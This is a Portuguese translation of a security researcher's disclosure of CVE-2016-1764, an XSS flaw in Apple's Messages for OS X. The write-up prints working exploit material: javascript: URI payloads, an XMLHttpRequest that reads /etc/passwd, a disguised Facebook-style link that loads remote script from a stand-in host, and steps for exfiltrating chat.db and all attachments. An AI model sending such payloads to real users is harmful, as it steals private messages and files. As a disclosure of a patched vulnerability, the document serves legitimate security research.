moloch--/cve-2016-1764Extração de dados do iMessage via XSS
Fornecedor: Apple
Data de Lançamento: 8 de abril de 2016
Data do Patch: 21 de março de 2016
Sistemas Afetados: Messages no OSX Mountain Yosemite, El Capitan
Embora a maior parte do debate recente em torno da Apple tenha sido focada em criptografia, a indústria e as autoridades parecem ter esquecido que vulnerabilidades mais simples, no nível de aplicação, podem ser aproveitadas para dispensar a criptografia por completo. A CVE-2016-1764, corrigida pela Apple em março de 2016, é uma falha na camada de aplicação que resulta na divulgação remota de todo o conteúdo de mensagens e anexos em texto puro ao explorar o cliente iMessage do OS X. Além disso, você não precisa de um diploma em matemática para explorá-la, nem de conhecimento detalhado sobre gerenciamento de memória, shellcode ou elaboradas cadeias de ROP para bypass de ASLR. Na verdade, é uma falha relativamente simples que pode ser explorada por qualquer pessoa com conhecimento básico de JavaScript.
O Messages (iMessage) para OS X da Apple implementa sua interface de usuário usando uma versão incorporada do WebKit; além disso, o Messages no OS X renderiza qualquer URI como um link HTML <a href= clicável. Um atacante pode criar uma simples URI JavaScript (por exemplo, javascript:) que, quando clicada, concede ao atacante execução inicial de JavaScript (XSS) no contexto do DOM da aplicação. Embora a biblioteca WebKit incorporada usada pelo Messages para OS X execute em uma origem applewebdata://, um atacante ainda pode ler arquivos arbitrários usando requisições GET XMLHttpRequest (XHR) para uma URI file://, já que não há política de mesma origem (SOP) implementada. Ao abusar do XHR para ler arquivos, um atacante pode enviar todo o histórico de conversas e anexos de uma vítima para um servidor remoto tão rápido quanto a conexão de Internet da vítima permitir; a única interação do usuário necessária é clicar em um único link no chat. Além disso, se o encaminhamento de SMS estiver ativado, o atacante também pode recuperar mensagens enviadas para, ou a partir do, iPhone da vítima.
Se você quiser saber todos os detalhes, continue lendo.
O Messages para OS X usa uma versão incorporada do WebKit para grande parte de sua interface de usuário. Quando mensagens são enviadas ou recebidas pela aplicação, HTML é inserido no DOM para renderizar a interface e qualquer conteúdo de anexos/mídia que tenha sido enviado. Todas as mensagens enviadas pela aplicação são renderizadas em um DOM e, portanto, vulnerabilidades comuns de segurança do lado do cliente podem afetar a aplicação.
Ao testar o cliente Messages para OS X, descobriu-se que esquemas de protocolos arbitrários eram automaticamente convertidos em links e inseridos no DOM. Por exemplo, as seguintes URIs abaixo são todas inseridas como links no WebView quando enviadas como mensagem:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
Como o Messages para OS X não implementa uma lista de permissões de protocolos aceitos, um atacante pode enviar uma mensagem a uma vítima contendo uma URI JavaScript javascript:, que será convertida em um link clicável na máquina da vítima.
Uma vez clicado, o WebKit incorporado executará obedientemente o JavaScript controlado pelo atacante na origem atual, por exemplo:
Observe que %0a (ou seja, \n) é usado para escapar do comentário JavaScript //, o que é necessário para corresponder ao padrão de vinculação do parser. Uma vez interpretado, o código se assemelha a:
//bishopfox.com/research?
prompt(1)
Ao clicar neste link, um prompt de JavaScript é acionado no Messages para OS X:
No entanto, o Messages para OS X é um aplicativo de desktop, não um site. Portanto, o JavaScript é executado no contexto de uma origem applewebdata://:
Porém, o código do atacante é executado em uma implementação completa do WebKit e, portanto, XMLHttpRequest está disponível em tempo de execução. Uma das principais diferenças entre uma versão incorporada do WebKit e um navegador da web como Chrome ou Safari é que a versão incorporada não implementa nenhuma política de mesma origem (SOP), por se tratar de um aplicativo de desktop nativo. Um atacante pode aproveitar isso para ler arquivos do sistema de arquivos local sem violar a política de mesma origem, enviando requisições GET XMLHttpRequest para URIs file://. O único requisito é que o atacante saiba o caminho completo do arquivo; caminhos relativos do sistema de arquivos (por exemplo, ~/.ssh/id_rsa) não podem ser usados.
Por exemplo, o seguinte JavaScript pode ser executado pelo DOM do aplicativo Messages para ler o arquivo /etc/passwd:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
Convertido em um payload de URI, o código aparece da seguinte forma:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Ao ser clicado no aplicativo Messages, o seguinte prompt aparece:
Como o vetor acima é bastante longo e parece excessivamente suspeito, é possível encurtar a URI carregando dinamicamente JavaScript de um domínio e incluindo-o no DOM. Por exemplo, o vetor abaixo injeta o JavaScript de http://example.com/1.js no DOM do Messages:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
O arquivo JavaScript referenciado como //example.com/1.js no vetor acima pode conter instruções JavaScript arbitrárias de comprimento arbitrário.
No entanto, a sandbox de aplicativos do OS X restringia o acesso ao sistema de arquivos apenas a ~/Library/Messages/* e a alguns outros diretórios do sistema não pertencentes ao usuário, como /etc/.
Quando mensagens e anexos são recebidos pelo Messages no OS X, eles são salvos no seguinte diretório:
/Users/<username>/Library/Messages/*
O conteúdo textual dessas mensagens e outros metadados são armazenados em um banco de dados SQLite localizado em:
/Users/<username>/Library/Messages/chat.db
Esse banco de dados também contém os locais de todos os anexos que estão na máquina do usuário.
Para roubar esse banco de dados e, consequentemente, todos os anexos já recebidos ou enviados por uma vítima, é necessário um payload de ataque mais avançado.
As seguintes etapas precisam ser executadas antes que o atacante consiga exfiltrar os dados com sucesso:
~ não pode ser usado)chat.db, ou seja, /Users/ExampleUser/Library/Messages/chat.dbXMLHttpRequest para ler o banco de dados chat.db e consultá-lo para obter os caminhos dos arquivos de anexosXMLHttpRequest ou WebSockets, se você quiser acesso em tempo real.Podemos determinar o usuário atualmente conectado solicitando e, em seguida, analisando /Library/Preferences/com.apple.loginwindow.plist; esse arquivo é convenientemente legível dentro da sandbox de aplicativos do OS X. A partir daí, é trivial construir o caminho completo para o chat.db do usuário.
Depois que o arquivo do banco de dados for exfiltrado com sucesso, ele pode ser passado para um script personalizado no lado do servidor que extrai os caminhos completos dos anexos enviados e recebidos pela vítima, encontrados na tabela attachments do banco de dados.
Esses caminhos completos são recuperados pelo payload JavaScript malicioso e então usados para exfiltrar os arquivos de anexo da máquina da vítima por meio de XMLHttpRequest.
Em seguida, o atacante faz uma pequena ofuscação para tornar a URL um pouco mais convincente:
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Se a vítima clicar na URI acima no aplicativo Messages para OS X, todo o histórico de conversas da vítima e todos os anexos associados serão enviados ao atacante.
JavaScript está em toda parte
As falhas de segurança de aplicações web não estão mais limitadas apenas ao navegador; elas também encontraram seu caminho para aplicações nativas. Embora possa ser produtivo para os desenvolvedores usar tecnologias web como WebKit, ou seu parente muito mais perigoso nw.js, para criar aplicações de desktop, as melhores práticas de segurança de aplicações web ainda devem ser seguidas.